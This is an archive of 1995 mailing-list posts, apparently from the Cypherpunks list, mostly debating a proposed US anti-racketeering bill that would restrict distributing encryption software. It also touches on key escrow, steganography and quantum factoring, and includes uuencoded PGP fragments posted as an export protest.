40,000,000 acts.  Welcome to a 6x6 cell with a roommate named Bubba that 
wants to make you his wife.

____        Robert A. Hayden      <=> Cthulhu Matata
\  /__          -=-=-=-=-         <=>          -=-=-=-=-
 \/  /  Finger for Geek Code Info <=> hayden at krypton.mankato.msus.edu
   \/   Finger for PGP Public Key <=> http://att2.cs.mankato.msus.edu/~hayden






From tedwards at src.umd.edu  Thu Jul 13 09:23:27 1995
From: tedwards at src.umd.edu (Thomas Grant Edwards)
Date: Thu, 13 Jul 95 09:23:27 PDT
Subject: RACIST MILITIA: ATF
In-Reply-To: <9507131048.AA09393@vampire.science.gmu.edu>
Message-ID: <Pine.SUN.3.91.950713122034.13737A-100000@thrash.src.umd.edu>


On Thu, 13 Jul 1995, Tim Scanlon wrote:

> I can confirm this, and a story was broadcast on the local
> ABC news affiliate (WJLA) that talked about this and Waco
> some.

Interestingly enough, WJLA is on the net (note 
http://www.access.digex.net/~wjla/wjla.html)

-Thomas






From adam at bwh.harvard.edu  Thu Jul 13 09:42:23 1995
From: adam at bwh.harvard.edu (Adam Shostack)
Date: Thu, 13 Jul 95 09:42:23 PDT
Subject: DefCon roomshare?
Message-ID: <199507131639.MAA07472@spl.bwh.harvard.edu>


	Anyone interested in sharing a room at DefCon?

	I'm fairly unobtrusive, don't smoke, and am neat enough to
live with for a few days. :)


	Also, I'm looking for a (English text) letter frequency table.
Anyone have one online?

Adam


-- 
"It is seldom that liberty          I Support The Phil
of any kind is lost all at     Zimmermann legal defense fund
once."               -Hume    http://www.netresponse.com/zldf

------------------ PGP.ZIP Part [001/713] -------------------
M4$L#!!0````(`">9ZQX3(*,_DG8!`-JF`P`'````4$=0+D581>S;=UQ3U__X
M\9M!$E8,TT at PJ$10$1=*41%WW`KX$=Q[M5KK`&R%(HH+(T.M"S>NME8K=31N
M:A$[K+5(K:O5BE405ZE:1"3?UTW`:K_]\/G\?O_^?CX>3^_-S;GGO,^\`^@W
-------------------------------------------------------------
for next chunk to export --> http://dcs.ex.ac.uk/~aba/export/





From mclow at coyote.csusm.edu  Thu Jul 13 09:43:23 1995
From: mclow at coyote.csusm.edu (Marshall Clow)
Date: Thu, 13 Jul 95 09:43:23 PDT
Subject: Anti-Electronic Racketeering Act of 1995
Message-ID: <ac2afc0c00021003cf47@[144.37.6.21]>


No one seems to have pointed this out, so:
(maybe it's obvious to everyone else)

>    "Sec. 1030A.  Racketeering-related crimes involving computers
>      "(a) It shall be unlawful--
>
>   . . .
>
>         "(2) to distribute computer software that encodes or encrypts
>       electronic or digital communications to computer networks that the
>       person distributing knows, or reasonably should know, is accessible to
>       foreign nationals and foreign governments, regardless of whether such
>       software has been designated nonexportable."
>
    IANAL, but it seems to me that if I EMAIL a copy of PGP to, say, Tim
May, that I have just "distributed computer software .... to a computer
network ...accessible to foreign nationals ..." even though it was
"private" e-mail.

   Comments, anyone?   Anyone? Bueller? ;-)


>Get a copy of this bill from:
>                ftp://ftp.loc.gov/pub/thomas/c104/s974.is.FTP
>and read it.
>
   Betcher ass.

-- Marshall
"The constitution. It's not perfect, but it's a damn sight better than what
we've got."







From perry at imsi.com  Thu Jul 13 09:46:21 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Thu, 13 Jul 95 09:46:21 PDT
Subject: Anti-Electronic Racketeering Act of 1995
In-Reply-To: <ac2afc0c00021003cf47@[144.37.6.21]>
Message-ID: <9507131646.AA12585@snark.imsi.com>



Marshall Clow writes:
> >
> >         "(2) to distribute computer software that encodes or encrypts
> >       electronic or digital communications to computer networks that the
> >       person distributing knows, or reasonably should know, is accessible t
o
> >       foreign nationals and foreign governments, regardless of whether such
> >       software has been designated nonexportable."
> >
>     IANAL, but it seems to me that if I EMAIL a copy of PGP to, say, Tim
> May, that I have just "distributed computer software .... to a computer
> network ...accessible to foreign nationals ..." even though it was
> "private" e-mail.

Depends on how "computer network" is defined in the statute.

Perry





From perry at imsi.com  Thu Jul 13 10:07:54 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Thu, 13 Jul 95 10:07:54 PDT
Subject: full text of the Facism bill
Message-ID: <9507131707.AA12032@webster.imsi.com>


Full text of the "Facism In America" bill, called by its purveyors an
"anti-racketeering" bill, can be found in...

ftp://ftp.loc.gov/pub/thomas/c104/s974.is.FTP

.pm





From stewarts at ix.netcom.com  Thu Jul 13 10:17:24 1995
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 13 Jul 95 10:17:24 PDT
Subject: CRYPTO: Anti-Electronic Racketeering Act of 1995
Message-ID: <199507131715.KAA17445@ix3.ix.netcom.com>


>		ftp://ftp.loc.gov/pub/thomas/c104/s974.is.FTP

Sigh.  The EFF moves out of Washington for _15_minutes_ and what happens?  :-)
#                                Thanks;  Bill
# Bill Stewart, Freelance Information Architect, stewarts at ix.netcom.com






From jim at acm.org  Thu Jul 13 10:18:55 1995
From: jim at acm.org (Jim Gillogly)
Date: Thu, 13 Jul 95 10:18:55 PDT
Subject: VENONA web page
Message-ID: <199507131718.KAA24249@mycroft.rand.org>



Check out http://www.fas.org/pub/gen/fas/irp/venona/

	Jim Gillogly
	Highday, 20 Afterlithe S.R. 1995, 17:18





From mclow at coyote.csusm.edu  Thu Jul 13 10:25:40 1995
From: mclow at coyote.csusm.edu (Marshall Clow)
Date: Thu, 13 Jul 95 10:25:40 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
Message-ID: <ac2b06a9060210034dbc@[144.37.6.23]>


>    "Sec. 1030A.  Racketeering-related crimes involving computers
>      "(a) It shall be unlawful--
>   . . .
>         "(2) to distribute computer software that encodes or encrypts
>       electronic or digital communications to computer networks that the
>       person distributing knows, or reasonably should know, is accessible to
>       foreign nationals and foreign governments, regardless of whether such
>       software has been designated nonexportable."
>
So much for compression software, too. :-(
Pst! Anyone want a copy of gzip? PKZip? Drop*Stuff?

-- Marshall


Marshall Clow
Aladdin Systems
mclow at coyote.csusm.edu
Warning: Objects in calendar are closer than they appear.







From MINITERS at Citadel.edu  Thu Jul 13 10:33:18 1995
From: MINITERS at Citadel.edu (Syl Miniter 803-768-3759)
Date: Thu, 13 Jul 95 10:33:18 PDT
Subject: who knows about Security First Network Bank
Message-ID: <01HSTNFV105Y8Y5C1T@Citadel.edu>


There is an extensive article in the July issue of "Bank Technology News about
a startup Internet bank by the name above.
Does anyone know about this outfit.





From samman at CS.YALE.EDU  Thu Jul 13 10:42:31 1995
From: samman at CS.YALE.EDU (Rev. Ben)
Date: Thu, 13 Jul 95 10:42:31 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <ac2b06a9060210034dbc@[144.37.6.23]>
Message-ID: <Pine.A32.3.91.950713133947.3360A-100000@JAGUAR.ZOO.CS.YALE.EDU>


On Thu, 13 Jul 1995, Marshall Clow wrote:

> >    "Sec. 1030A.  Racketeering-related crimes involving computers
> >      "(a) It shall be unlawful--
> >   . . .
> >         "(2) to distribute computer software that encodes or encrypts
> >       electronic or digital communications to computer networks that the
> >       person distributing knows, or reasonably should know, is accessible to
> >       foreign nationals and foreign governments, regardless of whether such
> >       software has been designated nonexportable."
> >
> So much for compression software, too. :-(
> Pst! Anyone want a copy of gzip? PKZip? Drop*Stuff?

Those of you who have done complexity theory will take issue with the 
word 'encode'--the fact that it is binary is an encoding scheme--a simple 
one, but an encoding scheme in a language L2 nonetheless.

Ben.
____
Ben Samman..............................................samman at cs.yale.edu
I have learned silence from the talkative, toleration from the intolerant,
and kindness from the unkind; yet, strange, I am ungrateful to those 
teachers.-- K. Gibran. SUPPORT THE PHIL ZIMMERMANN LEGAL DEFENSE FUND!
For information Email: zldf at clark.net       http://www.netresponse.com/zldf  






From tcmay at sensemedia.net  Thu Jul 13 10:45:27 1995
From: tcmay at sensemedia.net (Timothy C. May)
Date: Thu, 13 Jul 95 10:45:27 PDT
Subject: Bubba
Message-ID: <ac2aa9b7090210045e71@[205.199.118.202]>


At 4:19 PM 7/13/95, Robert A. Hayden wrote:

>40,000,000 acts.  Welcome to a 6x6 cell with a roommate named Bubba that
>wants to make you his wife.

Careful here, Robert!

Bubba has not yet been tried and convicted.

I admit that the allegations about Mena, drugs, Whitewater, S & Ls, and
abuse of state office are fairly serious, but he has not yet even been
formally charged.

--Tim May



..........................................................................
Timothy C. May         | Crypto Anarchy: encryption, digital money,
tcmay at sensemedia.net   | anonymous networks, digital pseudonyms, zero
408-728-0152           | knowledge, reputations, information markets,
Corralitos, CA         | black markets, collapse of governments.
Higher Power: 2^756839 | Public Key: PGP and MailSafe available.
"National borders are just speed bumps on the information superhighway."







From jya at pipeline.com  Thu Jul 13 10:58:09 1995
From: jya at pipeline.com (John Young)
Date: Thu, 13 Jul 95 10:58:09 PDT
Subject: VENONA web page
Message-ID: <199507131756.NAA18398@pipe3.nyc.pipeline.com>



Responding to msg by jim at acm.org (Jim Gillogly) on Thu, 13 Jul 
10:18 AM

>
>Check out http://www.fas.org/pub/gen/fas/irp/venona/



Amazing IC links from this stepstone. Ebony NRO with a nascent 
homepage!


Must be budget-cut-itis.





From cp at proust.suba.com  Thu Jul 13 10:58:39 1995
From: cp at proust.suba.com (alex)
Date: Thu, 13 Jul 95 10:58:39 PDT
Subject: Anti-Electronic Racketeering Act of 1995
In-Reply-To: <ac2afc0c00021003cf47@[144.37.6.21]>
Message-ID: <199507131802.NAA01316@proust.suba.com>


>     IANAL, but it seems to me that if I EMAIL a copy of PGP to, say, Tim
> May, that I have just "distributed computer software .... to a computer
> network ...accessible to foreign nationals ..." even though it was
> "private" e-mail.

It seems to me that this bill is so broad as to be unworkable, and that
could work in our favor.  I haven't read the full text, and I'm not a
lawyer, but my reading of the excerpts posted here suggest that even stuff
that's been *approved* for export by NSA could be prohibited. 

What would be the status of stuff like NIS+ under this bill?  The 
Netscape commerce server?






From perry at imsi.com  Thu Jul 13 11:00:08 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Thu, 13 Jul 95 11:00:08 PDT
Subject: mistake on my part
Message-ID: <9507131759.AA12314@webster.imsi.com>


I made a small mistake -- the new bill does *not* make it a crime to
make crypto software available at Egghead -- but it does more or less
make distribution of crypto software over the internet impossible if
it isn't an escrow based system.

Perry





From koontz at MasPar.COM  Thu Jul 13 11:03:52 1995
From: koontz at MasPar.COM (koontz at MasPar.COM)
Date: Thu, 13 Jul 95 11:03:52 PDT
Subject: Anti-Electronic Racketeering Act of 1995
Message-ID: <9507131806.AA01162@homeboy.local>


>>     IANAL, but it seems to me that if I EMAIL a copy of PGP to, say, Tim
>> May, that I have just "distributed computer software .... to a computer
>> network ...accessible to foreign nationals ..." even though it was
>> "private" e-mail.
>
>Depends on how "computer network" is defined in the statute.

Its added language.  "computer network" is not defined.  Catcha' 22.





From tcmay at sensemedia.net  Thu Jul 13 11:07:33 1995
From: tcmay at sensemedia.net (Timothy C. May)
Date: Thu, 13 Jul 95 11:07:33 PDT
Subject: Crisis Overload (re Electronic Racketeering)
Message-ID: <ac2aab2c0b021004b5fe@[205.199.118.202]>



Folks, I'm not going to exhort you to fight this latest travesty, to send
angry letters to your senators and representatives.

Every couple of months there's been a new legislative attack on what were
once basic American freedoms. (Sorry to focus on America. I'm sure you
folks in the liberty-loving paradises of, say, Germany, are gloating over
our hand-wringing.)

We're losing the war. We can send in donations to the NRA and EFF, offer
our support to the ACLU and EPIC, but the tide just keeps rolling in,
washing away our efforts. The full-time lawmakers in D.C. can proliferate
new repressive laws much faster than we can fight them.

Our focus on this list has been on crypto, and crypto is finally coming
under the massive assault we knew would come from the earliest rumblings
several years ago about "key escrow." Clipper was the warning shot, the
current "War on the Internet" (fed by scare stories and hysteria) is part
of the propaganda war, and now this bipartisan bill to expand the RICO Act
to include any non-GAK implementation of crypto is the nail in the coffin.

No wonder Stu Baker and Ron Lee were so smug at the last CFP.

Ordinary lobbying is probably a lost cause. The EFF tried to "work with"
the government (Administration, Congress) on the Digital Telephony Bill,
and got rolled (in the opinion of many, even in the governing circles of
EFF).

This latest assault is probably unstoppable. The co-sponsorship by Sen.
Leahy, once seen as an ally of the EFF (recall the attempts to get the
Leahy alternative to Exon adopted), and the enthusiastic support of
Republicans, Democrats, and the intelligence community means that GAK is
coming.

Oh, and the use of RICO and "conspiracy" in such a central way fulfills
Whit Diffie's prediction of a few years ago that the main way crypto will
be controlled is through such laws, by spreading fear, uncertainty, and
doubt amongst users and corporations. Make the corporations so paranoid
that they'll crack down on employees, adopt GAK methods, and freeze out the
"street corner user" of crypto.

(If the only users of PGP and other non-GAK tools are fringe groups and
underground communities, then the main goals will have been achieved. The
public use of PGP will have been squelched, the public use of anonymous
cash will have been suppressed, and the social control goals will have been
achieved. )

I think it's time to abandon all lobbying efforts...they don't appear to be
working, and the government is proliferating new laws faster than we can
fight them.

The only hope is to more rapidly deploy crypto, to reach the "point of no
return." Optimistically, we may already be there (the views expressed by
many of us). Pessimistically, the application of RICO laws and civil
forfeiture could put any of us who advocate crypto use and evasion of the
new laws into a precarious position.

This is enough to say for now.

Suffice it to say I view the latest Grassley proposed legislation to be the
culmination of the past several years worth of anti-liberty legislation. A
much bigger threat than Clipper.

In fact, it's what many of us saw implicit in Clipper.

--Tim May

..........................................................................
Timothy C. May         | Crypto Anarchy: encryption, digital money,
tcmay at sensemedia.net   | anonymous networks, digital pseudonyms, zero
408-728-0152           | knowledge, reputations, information markets,
Corralitos, CA         | black markets, collapse of governments.
Higher Power: 2^756839 | Public Key: PGP and MailSafe available.
"National borders are just speed bumps on the information superhighway."







From perry at imsi.com  Thu Jul 13 11:08:16 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Thu, 13 Jul 95 11:08:16 PDT
Subject: Anti-Electronic Racketeering Act of 1995
In-Reply-To: <9507131806.AA01162@homeboy.local>
Message-ID: <9507131807.AA12711@snark.imsi.com>



koontz at MasPar.COM writes:
> >Depends on how "computer network" is defined in the statute.
> 
> Its added language.  "computer network" is not defined.  Catcha' 22.

I just read the bill -- it has no definitions of anything. Very
disturbing.

.pm





From erc at khijol.intele.net  Thu Jul 13 11:11:47 1995
From: erc at khijol.intele.net (Ed Carp [khijol Sysadmin])
Date: Thu, 13 Jul 95 11:11:47 PDT
Subject: DefCon roomshare?
In-Reply-To: <199507131639.MAA07472@spl.bwh.harvard.edu>
Message-ID: <Pine.3.89.9507131226.D6155-0100000@khijol>


On Thu, 13 Jul 1995, Adam Shostack wrote:

> 	Also, I'm looking for a (English text) letter frequency table.
> Anyone have one online?

Did you just wnat the letters in order of frequency, or with a numeric 
distribution per 1000?

Here's just a list, although you should be able to whip out a quick C 
program to do both fairly quickly:

etaonrishdlfcmugypwbvkxjqz
--
Ed Carp, N7EKG    			Ed.Carp at linux.org, ecarp at netcom.com
801/534-8857 voicemail			801/460-1883 digital pager
Finger ecarp at netcom.com for PGP 2.5 public key		an88744 at anon.penet.fi

Q.	What's the trouble with writing an MS-DOS program to emulate Clinton?
A.	Figuring out what to do with the other 639K of memory.






From frissell at panix.com  Thu Jul 13 11:11:57 1995
From: frissell at panix.com (Duncan Frissell)
Date: Thu, 13 Jul 95 11:11:57 PDT
Subject: New Country Conference
Message-ID: <199507131811.OAA06672@panix.com>


I should have mentioned this before but:

New Country Conference

This Saturday July 15th

The New Country Foundation's first annual conference.

Gramercy Park Hotel (Lexington Avenue & 21st Street)
New York City

9:30am

Admission is $35.00 at the door

Speakers:

Mike Oliver, author of "A New Constitution for a New Country."

Richard Morris, President of Sea Structures, Inc. -- Developer of the Seacell floating platform technology.

and a number of others.

Info from Marc Joffe at 71045.142 at compuserve.com.

I will be there representing the "New Country in Cyberspace" heresy.

DCF

"Don't waste your time and money forming a new country in the physical realm.   Bits are cheaper than atoms and encrypted bits are stronger than the strongest atoms."





From syshtg at gsusgi2.Gsu.EDU  Thu Jul 13 11:39:36 1995
From: syshtg at gsusgi2.Gsu.EDU (Tom Gillman)
Date: Thu, 13 Jul 95 11:39:36 PDT
Subject: Grassley's Anti-Ridiculous Act
Message-ID: <199507131839.OAA03488@gsusgi2.Gsu.EDU>



OK...let's see...

"shall be unlawful for any person to damage or threaten to
damage electronically or digitally stored data..."

Does that mean i can't erase my floppies anymore? :)
Or, is it that I can't say, "I'm gonna format you!" and then not do it?

Scratching your CDs would be illegal.

When you get down to it, your brain is an electrochemical computer.
You're no longer allowed to forget anything, either.
"But storage in your brain is not digital!", you say..

Electronically _or_ digitally stored.

Swapfiles are right out.

Writeable memory is out in general.

"unlawful to distribute unlicensed software..."

There goes shareware. Freeware's still okay, I guess.
Do many people treat shareware as anything more than freeware?

The Steve JAckson clause at the end about work materials is
cute, but the law doesn't seem to require giving the data back.

And the clause about being able to enter evidence obtained
electronically via 3rd party is interesting. Means an
administrator can legally store email and turn it over...


This bill is so monumentally stupid I can't believe it.

Tom

-- 
 Tom Gillman, Unix/AIX Systems Weenie  |"For a privacy advocate to determine
 Wells Computer Center-Ga. State Univ. |the best way to do key escrow is like
 (404) 651-4503 syshtg at gsusgi2.gsu.edu |a death penalty opponent choosing
 I'm not allowed to have an opinion.   |between gas or electricity"-D.Banisar
                                    
  key to UNIX: echo '16i[q]sa[ln0=aln100%Pln100/snlbx]sbA0D4D465452snlbxq'|dc




From Doug.Hughes at Eng.Auburn.EDU  Thu Jul 13 11:46:21 1995
From: Doug.Hughes at Eng.Auburn.EDU (Doug Hughes)
Date: Thu, 13 Jul 95 11:46:21 PDT
Subject: The end of public key cryptography as we know it?
Message-ID: <199507131846.NAA06768@netman.eng.auburn.edu>



An article posted on sci.crypt stated that quantum factoring
is real and that an article was posted in this month's Science
magazine. The author of the post says this would make factoring
a 10 bit number the same time as factoring a 100000000 bit number.

A wonder how long it is before every major government in the world
has one of these. Makes RSA's future kind of moot doesn't it??

I definitely have to read this article, but I thought I'd post it
here for those that weren't aware or that hadn't heard.

I wonder how long it will take before they can figure out how to
do this for other computationally intensinve problems like N-th roots.
(To make Diffie Hellman moot as well).

It's beginning to seem that mathematically challenging algorithms
aren't going to be that challenging for long.  I have no details other
than what is posted here.

Perhaps somebody could post a better synopsis than what was in
sci.crypt? (I plan on reading it for myself anyway, which I imagine
most other people here will be doing as soon as they can)

 Doug Hughes				Engineering Network Services
 doug at eng.auburn.edu			Auburn University




From aba at dcs.exeter.ac.uk  Thu Jul 13 11:50:59 1995
From: aba at dcs.exeter.ac.uk (aba at dcs.exeter.ac.uk)
Date: Thu, 13 Jul 95 11:50:59 PDT
Subject: mistake on my part
Message-ID: <22250.9507131850@exe.dcs.exeter.ac.uk>



Perry Metzger <perry at imsi.com> writes on cpunks:
> I made a small mistake -- the new bill does *not* make it a crime to
> make crypto software available at Egghead -- but it does more or
> less make distribution of crypto software over the internet
> impossible if it isn't an escrow based system.

I thought there was some kind of "read my lips" type statement about
not mandating key escrow a short while ago.  Making it illegal to not
use escrow on the internet (in the US and certain materials) sounds
dangerously close to mandating key escrow.

Also I remember one list member making a prediction, that as they'd
said _definately no key escrow_, that you could bet your ass that
meant exactly the opposite, and that it would rear it's head anytime
soon.  I think the poster even had a prediction in terms of months,
but don't have the original post handy, looks like he was right.

Anyway these things are in stages:

1. voluntary key escrow
2. mandatory key escrow for certain materials
3. mandatory key escrow across the board

If they pull this off stage 2, I wonder how long till stage 3, I think
it'll be time to leave the sinking ship while exit visas are still
granted!

Adam
--
------------------ PGP.ZIP Part [025/713] -------------------
M83PL=@FR8ES%:6Q"(F9A#)K!&_;X4TXZ?(T]6(]`>$*.^]3K*K["(239)\@F
MHA\"<%"5(%N->/2!'>X3XPU<0!Y,F``58RK(F;K#XD2,^`F[L09CT1>MH,7/
MC at FR+[`#J_`.6J`QW&"'YPZ4A[,XC10,0@\T1R.H\52,%3N1CI\TY('#M1)D
-------------------------------------------------------------
for next chunk to export --> http://dcs.ex.ac.uk/~aba/export/






From lmccarth at cs.umass.edu  Thu Jul 13 11:55:51 1995
From: lmccarth at cs.umass.edu (L. McCarthy)
Date: Thu, 13 Jul 95 11:55:51 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <9507131535.AA12389@snark.imsi.com>
Message-ID: <9507131855.AA04443@cs.umass.edu>


Perry writes:
> This law would also criminalize selling crypto software -- even
> emasculated crypto software -- at Egghead, by the way. Remember, even
> *if the crypto software is exportable* its a crime. It also would
> criminalize the distribution of ROT-13. I'm not making either of these
> things up.

Draconian as it is, you seem to be overlooking some of the (ever so faintly)
mitigating clauses of this Grass-t-ley bill. Pre-arranged GAK is an admissible
excuse for dodging the crypto ban, so ROT-13 could still be distributed.

Why do you think Egghead couldn't sell crypto any more ?  It's not a computer
network by any definition I've heard so far.... 

-Futplex <futplex at pseudonym.com>
GAK: it's not just a bad idea, it may soon be the law !




From perry at imsi.com  Thu Jul 13 11:57:52 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Thu, 13 Jul 95 11:57:52 PDT
Subject: Timothy C. May: Re: Crisis Overload (re Electronic Racketeering)
Message-ID: <9507131857.AA12796@snark.imsi.com>



Well, I guess I've been plonked by no less than Tim.

Time will tell which of us is correct.

------- Forwarded Message

To: perry at imsi.com
From: tcmay at sensemedia.net (Timothy C. May)
Subject: Re: Crisis Overload (re Electronic Racketeering)

At 6:30 PM 7/13/95, Perry E. Metzger wrote:

>Tim, I respect your opinions a lot, but I don't think you know squat
                                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>about this topic. You don't understand how Washington works. I believe
>I have a better grasp on this than you do. Its hard, but not even
>remotely impossible, to derail this crap. We should make every
>possible effort to do so. The defeatism you are emitting is silly.
                               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Perry,

I have all I'm going to take of your acerbic rudeness to me.

I will no longer be responding to any of your messages.

- --Tim

..........................................................................
Timothy C. May         | Crypto Anarchy: encryption, digital money,
tcmay at sensemedia.net   | anonymous networks, digital pseudonyms, zero
408-728-0152           | knowledge, reputations, information markets,
Corralitos, CA         | black markets, collapse of governments.
Higher Power: 2^756839 | Public Key: PGP and MailSafe available.
"National borders are just speed bumps on the information superhighway."



------- End of Forwarded Message






From hayden at krypton.mankato.msus.edu  Thu Jul 13 12:10:27 1995
From: hayden at krypton.mankato.msus.edu (Robert A. Hayden)
Date: Thu, 13 Jul 95 12:10:27 PDT
Subject: Crisis Overload (re Electronic Racketeering)
In-Reply-To: <ac2aab2c0b021004b5fe@[205.199.118.202]>
Message-ID: <Pine.ULT.3.91.950713140141.8587C-100000@krypton.mankato.msus.edu>


On Thu, 13 Jul 1995, Timothy C. May wrote:

> I think it's time to abandon all lobbying efforts...they don't appear to be
> working, and the government is proliferating new laws faster than we can
> fight them.
> 
> The only hope is to more rapidly deploy crypto, to reach the "point of no
> return." Optimistically, we may already be there (the views expressed by
> many of us). Pessimistically, the application of RICO laws and civil
> forfeiture could put any of us who advocate crypto use and evasion of the
> new laws into a precarious position.

Unfortunately, a system of social engineering needs to be adopted to get 
massive use of cryptography started.  This means, and I advocated this 
from the day I entered this forum, that programs such as PGP need to be 
redesigned so that the a user friendly . . . so user friendly that any 
Joe Moron can figure out not only how to use them, but also how it helps 
them and how it is "good" for them.  This means that we need simplified 
key management easy enough for the point-and-click masses to utilize.  
This means that common mailing programs, From Elm and Pine to AOLs and 
Computer$erve's mailers need to have TRANSPARENT signing of mail messages 
and near-transparent encryption of messages.  This means that we need to 
stop lobbying the governemtn (they dont' listen) and start lobbying Big 
Business, like IBM, MicroSoft, Apple, etc, to start including encryption 
hooks in their software.  And if PGP is a problem, International PGP 
might be an option.  And if there are problems with patent infringements 
and that kind of crap, then we (the concerned people of the global 
network) need to develop a free encrytion scheme that can do everything 
PGP can do and still be legal.

Unfortuately, all I can do is stand on the sidelines and cheer, because I 
am not a programmer; I'm a user and a teacher.

We've seen the enemy, that the are the 535 senators and representatives 
in D.C., and the staff in the White House.  It's time to shore up our 
allies and enter the battle witht he best weapons we have; information 
and popular use.

> In fact, it's what many of us saw implicit in Clipper.

Yup.  We all saw it with clipper.  We were all called paranoid.

Guess so...

____        Robert A. Hayden      <=> Cthulhu Matata
\  /__          -=-=-=-=-         <=>          -=-=-=-=-
 \/  /  Finger for Geek Code Info <=> hayden at krypton.mankato.msus.edu
   \/   Finger for PGP Public Key <=> http://att2.cs.mankato.msus.edu/~hayden






From jlasser at rwd.goucher.edu  Thu Jul 13 12:17:24 1995
From: jlasser at rwd.goucher.edu (Jon Lasser)
Date: Thu, 13 Jul 95 12:17:24 PDT
Subject: def'n of "computer network"
Message-ID: <Pine.SUN.3.91.950713150101.20411A-100000@rwd.goucher.edu>


Bet you 10-1 that "Computer Network" as implemented in the new bill will 
refer to any computing system that could possibly defend /itself/ through 
common carrier status.  IE including small non-networked fringe BBSs that 
attempt to claim "common carrier" status.

And many networks that don't claim common carrier status, too.

The real solution to the crypto-legalization problem is anonymity.  
Seeing as I've not checked the bill out yet, nor am I a lawyer, I can't 
say what the implications for that are.  If there are anti-remailer 
implications, the solution may be to build tools with "security flaws" 
(ie remailing capability).  I know that this has been discussed before, 
but this is the time to implement it.  Obviously, the information about 
the "security holes" will have to be spread widely, but the flaws will 
have to be built so deep in the design as to not be removable.

In addition, now is the time to deploy stego, on a massive scale.  How 
many stego programs have been released for Unix?  Can these be integrated 
with mailing programs in the same way that PGP has been?

What would be the legal liability of the maintainer of a common-carrier 
status system that had a guest account which had been (or based on the 
current legislation) could be used for anonymity/crypto stuff?  If he's 
liable, does this mean that system administrators are liable for any 
potential security hole in their system that a random evil internet 
hacker uses to abuse another system?  Hmmm... Usenet 
alt.binaries.pictures.barney + stego software + unmaintained 'guest' 
account on a random system = ???

Any lawyers?
Jon
------------------------------------------------------------------------------
Jon Lasser                <jlasser at rwd.goucher.edu>            (410) 494-3253 
          Visit my home page at http://www.goucher.edu/~jlasser/
  You have a friend at the NSA: Big Brother is watching. Finger for PGP key.







From perry at imsi.com  Thu Jul 13 12:25:11 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Thu, 13 Jul 95 12:25:11 PDT
Subject: Crisis Overload (re Electronic Racketeering)
In-Reply-To: <Pine.ULT.3.91.950713140141.8587C-100000@krypton.mankato.msus.edu>
Message-ID: <9507131924.AA12834@snark.imsi.com>



"Robert A. Hayden" writes:
> We've seen the enemy, that the are the 535 senators and representatives 
> in D.C., and the staff in the White House.  It's time to shore up our 
> allies and enter the battle witht he best weapons we have; information 
> and popular use.

As unpleasant as the congress is, it isn't the enemy. The governmental
forces desiring control are not the same as the congress.

Congressmen are by and large harried and ignorant people. They have no
idea what any of this is about. We have the choice of letting Louis
Freeh do all the educating, or having a white shoe Washington PR firm
do some of the educating, too. I favor the latter approach.

This is not to say that we shouldn't be widely deploying crypto -- we
should. (Of course, offshore sites will always have crypto available,
but...) 

This is also not to say that Congress doesn't pass very bad laws.

However, I very, very strongly urge that we not assume that nothing
can be done. Just winning a couple years time could totally alter the
landscape.

Perry






From perry at imsi.com  Thu Jul 13 12:27:49 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Thu, 13 Jul 95 12:27:49 PDT
Subject: def'n of "computer network"
In-Reply-To: <Pine.SUN.3.91.950713150101.20411A-100000@rwd.goucher.edu>
Message-ID: <9507131927.AA12842@snark.imsi.com>



Jon Lasser writes:
> In addition, now is the time to deploy stego, on a massive scale.

I've said it before, and I'll say it again.

My opinion is that stegonography "standards" are useless. Anyone can
try unpeeling the GIFs and see if something interesting shows up
inside. That means that the only useful stego suffers from the defect
that symmetric key cryptography suffers from -- you have to have made
serious pre-arrangements with the counterparty.

Perry





From hayden at krypton.mankato.msus.edu  Thu Jul 13 12:34:28 1995
From: hayden at krypton.mankato.msus.edu (Robert A. Hayden)
Date: Thu, 13 Jul 95 12:34:28 PDT
Subject: mistake on my part
In-Reply-To: <22250.9507131850@exe.dcs.exeter.ac.uk>
Message-ID: <Pine.ULT.3.91.950713143343.10146B-100000@krypton.mankato.msus.edu>


On Thu, 13 Jul 1995 aba at dcs.exeter.ac.uk wrote:

> If they pull this off stage 2, I wonder how long till stage 3, I think
> it'll be time to leave the sinking ship while exit visas are still
> granted!

And go where?  I know i'm living in a shell, but I've never heard a 
difinitive answer of where is a better place to live and still has the 
same or better freedoms.

*serious question*

____        Robert A. Hayden      <=> Cthulhu Matata
\  /__          -=-=-=-=-         <=>          -=-=-=-=-
 \/  /  Finger for Geek Code Info <=> hayden at krypton.mankato.msus.edu
   \/   Finger for PGP Public Key <=> http://att2.cs.mankato.msus.edu/~hayden






From liberty at gate.net  Thu Jul 13 12:34:50 1995
From: liberty at gate.net (Jim Ray)
Date: Thu, 13 Jul 95 12:34:50 PDT
Subject: Anti-Electronic Racketeering Act of 1995
Message-ID: <199507131932.PAA01245@bb.hks.net>


-----BEGIN PGP SIGNED MESSAGE-----

- -----BEGIN PGP SIGNED MESSAGE-----

Weld Pond <weld at l0pht.com> responding to

Duncan Frissell <frissell at panix.com> 

<good discussion snipped>

wrote:


>That raises an interesting issue. 

<good discussion snipped>

>Will they have to invent a huge new bureaucracy
>to manage all these devices and programs? 

Talk about a self-answering question...How else could it be done?

>There are many problems with this idea of 
>Government Access to Devices or Programs (GADOP).  

I can think of only one problem with the idea,
it's called the Bill of Rights.
[If there is anything left of it after this session of Congress.]

>A toolset that could build many different encryption 
>and decryption variations based on psuedo-random input
>may be a good tool to fight this nonsense.

Agreed. As well as steganographic software of many kinds
to hide this terrible "crime" we all love to commit, for
the peace loving among us...

BUT [and I hope this doesn't happen.]
I fear that the anarchy resulting from this kind of statist
idiocy will lead many (otherwise peaceful) folks to think that the
only good tool to fight this nonsense is a good shotgun. 
Of course, then we can simply outlaw those, too. 

<good discussion snipped>
Regards,
Jim Ray


- -----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Freedom isn't Freeh

